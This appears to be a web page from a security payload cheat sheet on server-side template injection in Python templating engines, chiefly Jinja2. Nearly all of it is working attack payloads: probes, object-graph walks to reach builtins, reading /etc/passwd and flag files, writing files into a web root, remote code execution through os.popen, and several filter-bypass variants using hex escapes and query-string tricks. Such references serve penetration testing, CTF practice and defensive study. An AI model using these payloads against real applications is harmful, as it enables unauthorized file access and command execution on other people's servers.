Skip to main content

python

Python

Templating Libraries

Template NamePayload Format
Bottle{{ }}
Chameleon${ }
Cheetah${ }
Django{{ }}
Jinja2{{ }}
Mako${ }
Pystache{{ }}
Tornado{{ }}

Jinja2

Jinja is a web template engine for the Python programming language. It was created by Armin Ronacher and is licensed under a BSD License. Jinja is similar to the Django template engine, but provides Python-like expressions while ensuring that the templates are evaluated in a sandbox.

Basic Injection

{{4*4}}[[5*5]]
{{7*'7'}} # would result in 7777777
{{config.items()}}

Debug Statement

If the Debug Extension is enabled, a {% debug %} tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.

<pre>{% debug %}</pre>

Dump All Used Classes

{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

Access __globals__ and __builtins__:

{{ self.__init__.__globals__.__builtins__ }}

Dump All Config Variables

{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}

Read Remote File

## ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
## https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
Write Into Remote File
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Remote Code Execution

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

But when __builtins__ is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

Shorter Payloads by @podalirius_:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

With objectwalker we can find a path to the os module from lipsum. This is the shortest payload known to achieve RCE in a Jinja2 template:

{{ lipsum.__globals__["os"].popen('id').read() }}

Filter Bypass

request.__class__
request["__class__"]

Bypassing _:

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

Bypassing [ and ]

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

Bypassing |join

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by @SecGus:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}